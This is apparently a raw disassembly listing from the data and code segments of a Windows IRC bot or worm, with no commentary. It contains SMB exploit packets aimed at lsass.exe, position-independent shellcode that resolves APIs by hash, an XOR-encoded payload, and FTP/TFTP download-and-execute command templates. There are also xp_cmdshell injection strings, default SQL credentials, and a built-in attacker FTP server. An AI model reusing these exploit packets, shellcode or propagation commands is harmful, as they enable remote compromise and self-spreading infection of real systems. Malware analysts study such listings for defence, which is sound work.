aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425984 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403C8B+B1o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_425A30 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_403C8B+D8o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_425B10 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_40384C+8Ao
unicode 0, <C$>,0
a?????_0 db '?????',0
dd 0
dword_425B74 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_425BE0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425C84 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_425D04 dd offset loc_401495 ; DATA XREF: sub_40384C+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset dword_406DE4+298h
dd 1, 0
dd 1, 0
dd offset dword_406DE4+298h
dd 1, 0
dd 1, 0
dd offset dword_406DE4+298h
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_425D98 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_425E04 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40384C+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_425E78 dd 0 dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_425F38 dd 1004600h ; sub_40384C+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_4036EB+BEo
; sub_4051A0+9Do
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4036EB+97o
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_404108+B2o
align 4
dword_42607C dd 10FF8h, 0 dword_426084 dd 10FF8h dword_426088 dd 7FFDF020h, 0 dword_426090 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_1 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426118 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_426148 dd 0 dd 800000D4h, 0
unk_426154 db 81h ; ; DATA XREF: sub_40460C+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
align 10h
byte_4261A0 db 41h ; DATA XREF: sub_4046AA+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_4261E4 proc near ; DATA XREF: seg000:00404987o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_4262E0
push dword ptr [esi]
push 63D61209h
call sub_4262F6
mov [esi+8], eax
call sub_4262A9
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4262F6
mov [esi+0Ch], eax
call sub_42625B
push dword ptr [esi+4]
push 4C0297FAh
call sub_4262F6
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_4261E4 endp
; =============== S U B R O U T I N E =======================================
sub_42625B proc near ; CODE XREF: sub_4261E4+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_426284
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_42625B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426284 proc near ; CODE XREF: sub_42625B+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_426293: ; CODE XREF: sub_426284+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4262A0
inc ebx
jmp short loc_426293
; ---------------------------------------------------------------------------
loc_4262A0: ; CODE XREF: sub_426284+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_426284 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262A9 proc near ; CODE XREF: sub_4261E4+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4262C1: ; CODE XREF: sub_4262A9+1Ej
cmp [ecx], ebx
jz short loc_4262C9
mov ecx, [ecx]
jmp short loc_4262C1
; ---------------------------------------------------------------------------
loc_4262C9: ; CODE XREF: sub_4262A9+1Aj
mov edx, edi
loc_4262CB: ; CODE XREF: sub_4262A9+2Aj
cmp [edx+4], ebx
jz short loc_4262D5
mov edx, [edx+4]
jmp short loc_4262CB
; ---------------------------------------------------------------------------
loc_4262D5: ; CODE XREF: sub_4262A9+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4262A9 endp
; =============== S U B R O U T I N E =======================================
sub_4262E0 proc near ; CODE XREF: sub_4261E4+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_4262E0 endp
; =============== S U B R O U T I N E =======================================
sub_4262F6 proc near ; CODE XREF: sub_4261E4+16p
; sub_4261E4+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_42630C: ; CODE XREF: sub_4262F6+33j
jecxz short loc_426346
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_426319: ; CODE XREF: sub_4262F6+2Dj
lodsb
cmp al, ah
jz short loc_426325
ror edi, 0Dh
add edi, eax
jmp short loc_426319
; ---------------------------------------------------------------------------
loc_426325: ; CODE XREF: sub_4262F6+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_42630C
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_426346: ; CODE XREF: sub_4262F6:loc_42630Cj
; sub_4262F6:loc_426346j
jmp short loc_426346
sub_4262F6 endp
; ---------------------------------------------------------------------------
dd 0
; =============== S U B R O U T I N E =======================================
sub_42634C proc near ; DATA XREF: seg000:00404937o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_42639E
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_426369: ; CODE XREF: sub_42634C+38j
jecxz short loc_426399
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_426374: ; CODE XREF: sub_42634C+32j
lodsb
test al, al
jz short loc_426380
ror edx, 0Dh
add edx, eax
jmp short loc_426374
; ---------------------------------------------------------------------------
loc_426380: ; CODE XREF: sub_42634C+2Bj
cmp edx, [esp+arg_0]
jnz short loc_426369
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_426399: ; CODE XREF: sub_42634C:loc_426369j
mov [esp+arg_0], ebx
retn
sub_42634C endp
; =============== S U B R O U T I N E =======================================
sub_42639E proc near ; CODE XREF: sub_42634C+7p
; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_4263B7
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_4263C2
; ---------------------------------------------------------------------------
loc_4263B7: ; CODE XREF: sub_42639E+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_4263C2: ; CODE XREF: sub_42639E+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_4263D6
sub_42639E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4263C9 proc near ; CODE XREF: sub_42639E:loc_4263D6p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_4263C9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42639E
loc_4263D6: ; CODE XREF: sub_42639E+29j
call sub_4263C9
loc_4263DB: ; DATA XREF: sub_4040AD+1Bo
; seg000:0040D652o ...
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_42639E
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_4263E0 dd 60h dword_4263E4 dd 62B0606h, 2050501h, 0A0hdword_4263F0 dd 30h ; seg002:0042C574o ...
dword_4263F4 dd 0A1h dword_4263F8 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_404108+153o
align 4
loc_426404: ; DATA XREF: sub_404108+E8o
jmp short near ptr dword_42640C
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_42640C dd 0 dword_426410 dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: seg000:0040495Co
db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+190o
align 4
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
; DATA XREF: sub_404F08+15Co
db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
db '&%s&del eq',0Dh,0Ah
db 27h,0
align 4
aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
; DATA XREF: sub_404F08+C8o
align 10h
aAdmin db 'admin',0 ; DATA XREF: sub_404F08+2Bo
; seg002:0042C2E8o
align 4
aRoot db 'root',0 ; DATA XREF: sub_404F08+24o
; seg002:0042C2F0o ...
align 10h
aSa db 'sa',0 ; DATA XREF: sub_404F08+19o
align 4
dword_426584 dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
; DATA XREF: seg000:00405377o
db 1Ah
; ---------------------------------------------------------------------------
loc_426595: ; CODE XREF: seg002:0042659Cj
mov bl, [edi]
xor bl, dl
mov [edi], bl
inc edi
loop loc_426595
ficom word ptr [esi]
dec edi
pop esp
aaa
xor [ecx+6Ch], bl
; ---------------------------------------------------------------------------
dw 28CDh
dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h, 7066A07h
dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h, 0BECE342Eh
dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h, 156EBE67h
dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h, 0B54168B8h
dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h, 0F960CA62h
dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h, 0BD70B865h
dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h, 0CACA5FD9h
dd 0D560h
word_4266D8 dw 7A69h ; DATA XREF: sub_4051A0+30r
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: seg000:004059BAo
aQuit db 'QUIT',0 ; DATA XREF: seg000:004059A6o
; seg000:0040D36Do
align 10h
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: seg000:00405999o
align 4
dword_426724 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:0040594Eo
dd 2029206Ch, 2BBBB02h
aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.'
db 0
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: seg000:0040592Fo
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: seg000:00405903o
align 4
aRetr db 'RETR',0 ; DATA XREF: seg000:004058EBo
align 10h
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: seg000:004058D6o
align 10h
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: seg000:004058C5o
aXX db '%x%x',0Ah,0 ; DATA XREF: seg000:00405892o
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: seg000:00405851o
db ']',0
aPort db 'PORT',0 ; DATA XREF: seg000:00405818o
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: seg000:004057EAo
align 4
aList db 'LIST',0 ; DATA XREF: seg000:004057D7o
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: seg000:0040579Co
align 10h
aPasv db 'PASV',0 ; DATA XREF: seg000:00405789o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: seg000:00405779o
aI: ; DATA XREF: seg000:00405765o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: seg000:0040573Eo
aA: ; DATA XREF: seg000:0040572Ao
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: seg000:00405713o
; seg000:0040574Eo
align 10h
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: seg000:00405703o
align 10h
off_4268E0 dd offset dword_445750 ; DATA XREF: seg000:004056EFo
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: seg000:004056DFo
align 4
aRest db 'REST',0 ; DATA XREF: seg000:004056CBo
align 10h
a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: seg000:004056BBo
align 10h
aSyst db 'SYST',0 ; DATA XREF: seg000:004056A7o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: seg000:00405697o
align 10h
aPass db 'PASS',0 ; DATA XREF: seg000:00405683o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: seg000:00405673o
align 10h
aUser_0 db 'USER',0 ; DATA XREF: seg000:0040565Eo
; seg002:0042C320o ...
align 4
aSS_1 db '%s %s',0 ; DATA XREF: seg000:0040564Do
align 10h
a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: seg000:004055C5o
align 4
aRb db 'rb',0 ; DATA XREF: seg000:00406D50o
; sub_40B43D+Bo
align 4
unk_42697C db 2 ; DATA XREF: sub_405B07+3F8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 4
asc_4269C4 db 0Dh,0Ah,0 ; DATA XREF: sub_405B07+2CFo
align 4
asc_4269C8: ; DATA XREF: sub_405B07+293o
; seg000:0040CEE1o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_405B07+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00406058o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00406035o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: seg000:00405FF9o
; sub_40AAB5+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: seg000:00405FE5o
align 10h
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: seg000:loc_405FC7o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: seg000:00405FC0o
align 4
unk_426BE8 db 2 ; DATA XREF: sub_4060E4+28Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_426C34 db 2 ; DATA XREF: sub_4060E4+20Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_426C78: ; DATA XREF: sub_4060E4+157o
; seg002:0042DFB8o
unicode 0, <*>,0
asc_426C7C: ; DATA XREF: sub_4060E4+FBo
; seg000:004063BDo ...
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: sub_4060E4+EAo
; seg000:0040685Eo ...
align 4
aS_1 db '%s',0 ; DATA XREF: sub_4060E4+3Ao
; seg000:0040A651o ...
align 4
aS_2 db '\%s',0 ; DATA XREF: sub_4060E4+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: seg000:004069E2o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: seg000:004069C7o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: seg000:004069ACo
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: seg000:0040691Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: seg000:004068F5o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: seg000:loc_4068ACo
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: seg000:004068A5o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: seg000:00406805o
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: seg000:004067C8o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: seg000:00406795o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: seg000:loc_406756o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: seg000:0040674Fo
align 4
aSS db '%s%s/',0 ; DATA XREF: seg000:00406708o
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: seg000:004066C4o
; seg000:0040681Ao
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: seg000:004066A2o
align 4
aS_0 db '<%s>',0 ; DATA XREF: seg000:00406678o
; seg000:004067A7o
align 10h
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: seg000:0040664Eo
aAm db 'AM',0 ; DATA XREF: seg000:00406624o
align 4
aPm db 'PM',0 ; DATA XREF: seg000:00406618o
align 4
a__0: ; DATA XREF: seg000:004065E1o
unicode 0, <.>,0
a__ db '..',0 ; DATA XREF: seg000:004065C6o
align 10h
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00406554o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:004064DBo
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: seg000:004064BFo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: seg000:0040648Bo
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: seg000:00406441o
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: seg000:0040640Co
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:004063DFo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B01+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dd 4000500h, 7868746Bh, 0
dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0
align 10h
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundOn db ' File not found on %s, (%s).',0
align 4
db 0
db 5, 0, 1
db 46h ; F
db 69h, 6Ch, 65h
db 20h
db 4Eh, 6Fh, 74h
db 20h
aFound db 'Found',0
align 10h
db 2
